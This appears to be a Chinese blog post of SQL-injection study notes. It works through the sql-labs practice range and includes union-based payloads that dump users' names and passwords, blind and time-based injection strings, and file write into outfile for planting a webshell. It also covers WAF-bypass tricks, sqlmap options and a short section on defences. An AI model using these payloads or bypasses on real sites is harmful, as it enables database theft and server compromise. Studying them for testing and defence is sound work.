SQL注入笔记

SQL注入篇

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息

SQL注入之数据库概述

数据库就是一个存储数据的仓库,数据库是以一定方式存储在一起,能与多个用户共享,具有尽可能小的冗余,与应用程序彼此独立的数据集合。

关系型数据库

关系型数据库,存储的格式可以直观地反映实体间的关系,和常见的表格比较相似

关系型数据库中表与表之间有很多复杂的关联关系的

常见的关系型数据库有MySQL,Orcale,PostgreSQL , SQL Server等。

非关系型数据库

随着近些年技术方向的不断扩展,大量的NoSQL数据库如 Mon goDB,Redis出于简化数据库结构,避免冗余,影响性能的表连接。摒弃复杂分布式的目的被设计

NoSQL数据库适合追求速度和可扩展性,业务多变的场景

数据库服务的层级关系

服务器里面

:多个数据库

:多个数据表

:多个行 列 字段

: 数据

 常见的SQL语句

手工注入

注入流程

1、判断注入点

2、猜解列名数量order by

3、报错猜解,判断回显点

4、信息收集


SQL注入:

利用sql-labs靶场第一关来进行SQL数字型注入


1.判断有无注入点 and 1 = 1; true
随便输入内容 == 报错 注入
== 没有注入

2.猜解列名数量 order by %20 空格
字段 4个

3.报错,判断回显点 union


4.信息收集
数据库版本 version()
高版本:5.0
系统库: infromation 。。。
数据库名称:database()
低版本:5.0

5.使用对应SQL进行注入
数据库库名:security
. 下一级
infromation_schema.tables 查找表名
table_name
查询serurity库下面 所有的表名

database()

= 前后 连到一起
union select 1,group_concat(table_name),3 from information_schema.tables
where table_schema=database()

表: users
如何查询表里面有那些字段?
user 字符 转行 16进制
union select 1,group_concat(column_name),3 from information_schema.columns
where table_name=0x7573657273

username password 字段数据
select username,password from users
0x3a :
union select 1,2,(select group_concat(username,0x3a,password)from users)

SQL注入之文件读写

原理:就是利用文件的读写权限进行注入,它可以写入一句话木马,也可以读取系统文件的敏感信息

条件:高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限,“secure_file_priv=”表示对文件读写没有任何设置,“secure_file_priv=NULL”表示不能对文件进行读写,“secure_file_priv=d:/phpstudy/mysql/data”类似的加上路径则代表只能在该路径下进行读写

比较常见的文件读写的地方有:

Windows: phpstudy: phpstudy/www phpstudy/PHPTutorial/www xampp: xampp/htdocs wamp: wamp/www Appser: appser/www

Linux: /var/mysql/data /var/www/html

路径获取常见方式:

报错显示,遗留文件,漏洞报错,平台配置文件等,如PHPinfo文件目录

读取文件

主要是利用函数:load_file()

写入文件

使用函数:Into Outfile(能写入多行,按格式输出,只能为单引号路径)和 into Dumpfile(只能写入一行且没有输出格式)

SQL注入基础防御

1、魔术引号

magic_quotes_gpc = “on为开启,off为关闭”

2、数据类型过滤

is_int(); addslashes(); mysql_real_escape_string(); mysql_escape_string()

3、自定义

str_replace() ;其他安全防护软件 WAF ……

SQL注入之数据类型

(1)数字型注入点

许多网页链接有类似的结构 http://xxx.com/users.php?id=1 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。这一类的 SQL 语句原型大概为 select * from 表名 where id=1 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where id=1 and 1=1

(2)字符型注入点

网页链接有类似的结构 http://xxx.com/users.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name='admin' 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where name='admin' and 1=1 ' 我们需要将这些烦人的引号给处理掉。

(3)搜索型注入点

这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 "keyword=关键字" 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like '%关键字%' 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'

(4)xx型注入点

其他型:也就是由于SQL语句拼接方式不同,在SQL中的实际语句为:,其本质为(xx’) or 1=1 # )常见的闭合符号:’ ” % ( {

延时注入

利用sleep()函数

验证方式:id=1 and sleep(if(database()=’test’,5,0))

原理:举例如上,当database库名=test时就会继续执行下一个,此时为5那么sleep函数就延迟5ms,此时你会看见浏览器在加载,也可以利用length函数来判断名字长度

substr()函数 Substr()和substring()函数实现的功能是一样的,均为截取字符串。

string substring(string, start, length)

Left()函数得到字符串左部指定个数的字符

Left ( string, n ) string为要截取的字符串,n为长度。

实例:select * from t1 where id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=116,sleep(2),0)利用ascii码转义

bool盲注

1.** 猜解数据库的名字**

地址+/?id=1′ and ascii(mid(database(),1,1))>115–+ 非正常

地址+/?id=1” and ascii(mid(database(),1,1))>116–+ 非正常

地址+/?id=1’and ascii(mid(database(),1,1))=115–+ 正常

地址+/?id=1′ and ascii(mid(database(),2,1))=101–+ 正常

地址+/?id=1′ and ascii(mid(database(),3,1))=99–+ 正常`

原理:举例如上,利用ASCII码转义当database库名的第几个字符转义和后面相等的则会有不同的显示

加密注入

利用base64的加密方式来对关键字进行加密

堆叠注入

在SQL中,分号 ;是用来表示一条sql语句的结束,试想一下我们在 ; 结束一个sql语句后面继续构造下一个语句

而union injection(联合注入)也是将两条语句合并在一起 两者之间有什么区别?区别就在于union执行语句类型有限,可以用来执行查询语句,而堆叠注入可以执行的是任意语句

WAF绕过

 

WAF拦截原理:WAF从规则库中匹配敏感字符进行拦截。

1、关键字大小字符绕过

有的WAF因为规则设计的问题,只匹配纯大写或纯小写的字符,对字符大小写混写直接无视,这时,我们可以利用这一点来进行绕过

举例: union select ---> unIOn SeLEcT

2、编码绕过

针对WAF过滤的字符编码,如使用URL编码,Unicode编码,十六进制编码,Hex编码等.

举例:union select 1,2,3# =union%0aselect 1\u002c2,3%23

3、双写绕过

部分WAF只对字符串识别一次,删除敏感字段并拼接剩余语句,这时,我们可以通过双写来进行绕过。

举例:UNIunionON ,SELselectECT anandd

4、换行绕过

举例:select * from admin where username = \N union select 1,user() from admin

5、注释符内联注释绕过

union selecte =/*!union*/ select

注释符里感叹号后面的内容会被mysql执行。

6、同义词替换

and=&&

or=||

=(等于号)=<、>

空格不能使用=%09,%0a,%0b,%0c,%0d,%20,%a0等

注:%0a是换行也可以替代空格

7、HTTP参污染

对目标发送多个参数,如果目标没有多参数进行多次过滤,那么WAF对多个参数只会识别其中的一个。

举例:?id=1&id=2&id=3
?id=1/**&id=-1%20union%20select%201,2,3%23*/

WAF绕过的思路就是让WAF的检测规则,识别不到你所输入的敏感字符,利用上述所介绍的知识点,灵活结合各种方法,从而可以增加绕过WAF的可能性

order by绕过:%20///–// V4.0
联合绕过:union /!–+/%0aselect/!1,2,3/ –+
from绕过: /!06447%23%0afrom/

sqlmap常用命令

-u:用于get提交方式,后面跟注入的url网址
--level
--risk
--dbs:获取所有数据库
--tales:获取所有数据表
--columns:获取所有字段
--dump:打印数据
-D:查询选择某个库
-T:查询选择某个表
-C:查询选择某个字段
level:执行测试的等级(1~5,默认为1),使用-level参数并且数值>=2的时候会检查cookie里面的参数,
当>=3时检查user-agent和refereer
risk:执行测试的风险(0~3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,
3会增加or语句的sql注入
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值